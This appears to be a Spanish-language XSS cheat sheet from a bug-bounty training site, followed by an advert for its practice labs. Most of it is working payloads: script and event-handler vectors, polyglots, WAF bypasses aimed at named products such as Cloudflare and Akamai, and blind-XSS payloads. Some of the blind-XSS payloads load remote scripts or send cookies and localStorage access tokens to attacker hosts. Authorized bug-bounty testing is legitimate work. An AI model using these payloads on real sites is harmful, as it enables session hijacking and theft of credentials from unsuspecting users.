Cheatsheet XSS

Cross-Site Scripting

Referencia rápida

  • Siempre probar <svg onload=alert(1)> como primer vector - funciona en la mayoria de contextos
  • Si alert() esta bloqueado en iframes cross-origin (Chrome 92+), usar print() como alternativa
  • Los event handlers como onfocus+autofocus no requieren interaccion del usuario
  • Para blind XSS, inyectar payloads en campos que puedan ser vistos por admins: tickets de soporte, formularios de contacto, user-agent
  • Probar siempre payloads sin event handlers usando javascript: URI en href, action y formaction

Payloads basicos

Script clasico

'"><script>alert(document.cookie)</script>

IMG onerror

"><img src=1 onerror="alert('XSS')">

SVG onload

<svg onload=alert(document.domain)>

Iframe srcdoc

<iframe srcdoc='<script>alert(1)</script>'>

Input autofocus

<input onfocus=alert(1) autofocus>

Details ontoggle

<details open ontoggle=alert(1)>

Body onload

<body onload=alert(1)>

Marquee onstart

<marquee onstart=alert(1)>

Event handlers sin interaccion

Autofocus universalCasi todos los elementos soportan autofocus en navegadores modernos

<xss onfocus=alert(1) autofocus tabindex=1>

Video onerror

<video src=x onerror=alert(1)>

Audio onerror

<audio src=x onerror=alert(1)>

Transition event sin styleChrome aplica outline por defecto a elementos focusables

<xss style="display:block;transition:outline 1s;" ontransitionend=alert(1) id=x tabindex=1>test</xss>

Object data

<object data=javascript:alert(1)>

SVG use con data URI

<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='alert(1)' /></svg>#x" />

Sin event handlers (javascript: URI)

Anchor href

<a href=javascript:alert(1)>click

Form action

<form action=javascript:alert(1)><input type=submit>

Button formaction

<form><button formaction=javascript:alert(1)>click

Math href

<math><brute href=javascript:alert(1)>click

Iframe srcdoc encoded

<iframe srcdoc=%26lt;svg/o%26%23x6Eload%26equals;alert%26lpar;1)%26gt;>

SVG xlink:href

<svg><script xlink:href=data:,alert(1)></script>

Blind XSS

Script externo (xss.report)

"><script src=https://your.xss.report/payload></script>

IMG fetch cookies

"><img src=x onerror="fetch('https://your.xss.report/?c='+document.cookie)">

Base64 evalPayload codificado en base64 dentro del atributo id

"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8veHNzLnJlcG9ydC9zL004U1pUOCI7ZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChhKTs&#61; onerror=eval(atob(this.id))>

JS.rip callback

"><script src="https://js.rip/l5j9hbki0b"></script>

Polyglots

Polyglot universal

jaVasCript:/*-/*`/*\'`/*"/**/(/* */oNcliCk=alert() )//%%0teleD/teleD/oN/teleN/on/teleN/on/oN/teleN/teleD//on//%0e%0e%0e%0e//oN\teleN\oN\

Cierre de contextos multiple

javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>

Escape de script y style

'"--></style></script><script>alert(1)</script>

Polyglot click/alert

" onclick=alert(1)//<button ' onclick=alert(1)//> */ alert(1)//

Multi-contexto

javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*

DOM XSS y tecnicas avanzadas

postMessage innerHTMLCuando el handler usa innerHTML con e.data sin sanitizar

<iframe src="https://target.com/" onload="this.contentWindow.postMessage('<img src=1 onerror=print()>','*')">

Swagger-UI DOM XSSSwagger UI acepta configUrl/url como parametro

?configUrl=https://attacker.surge.sh/test.json

Cookie exfiltration via fetch

<script>fetch('https://attacker.com/?c='+document.cookie)</script>

localStorage exfiltration

<script>new Image().src='https://attacker.com/?t='+localStorage.getItem('access_token');</script>

Funciones sin parentesis (tagged template)Chrome 92+ bloquea alert en iframes cross-domain, usar print() como alternativa

alert`1337`

Sort call sin parentesis

[].sort.call`${alert}1337`

Bypass de WAF

WAFTécnicaPayload
Cloudflare
HTML entities en SVG
<svg onload=alert&#40;1&#41;>
Imperva Incapsula
Tab en atributo + unicode
"><style/onload&nbsp;co\u006efirm()></style>
Akamai
Unicode escape en handler
<img src=x onerror=\u0061lert(1)>
ModSecurity
Null byte insertion
<img src=x onerror=alert(1)%00>
F5 Big IP
onwheel event
<body style="height:1000px" onwheel="alert(1)">
Generic
Base64 + atob con backticks
<img src=x onerror=location=atob`amF2YXNjcmlwdDphbGVydChkb2N1bWVudC5kb21haW4p`>

Herramientas

Dalfox

Scanner XSS automatizado con soporte para blind XSS y bypass de WAF

dalfox url "https://target.com/?q=test" --blind https://your.xss.report

XSStrike

Fuzzer XSS avanzado con analisis de contexto y generacion de payloads

python3 xsstrike.py -u "https://target.com/?q=test" --crawl

kxss

Filtra URLs con parametros reflejados potencialmente vulnerables a XSS

echo "https://target.com" | gau | kxss

DOM Invader

Extension de Burp para detectar DOM XSS, postMessage y prototype pollution

Activar en Burp Suite > Embedded Browser > DOM Invader

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica
650

hunters entrenando

50

labs de reportes reales

380

completaciones

$200.000

en bounties practicados

40 flags capturadas esta semana·Reportes reales de HackerOne · Bugcrowd · Intigriti·Sin permanencia·Academy gratis
BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en reportes reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras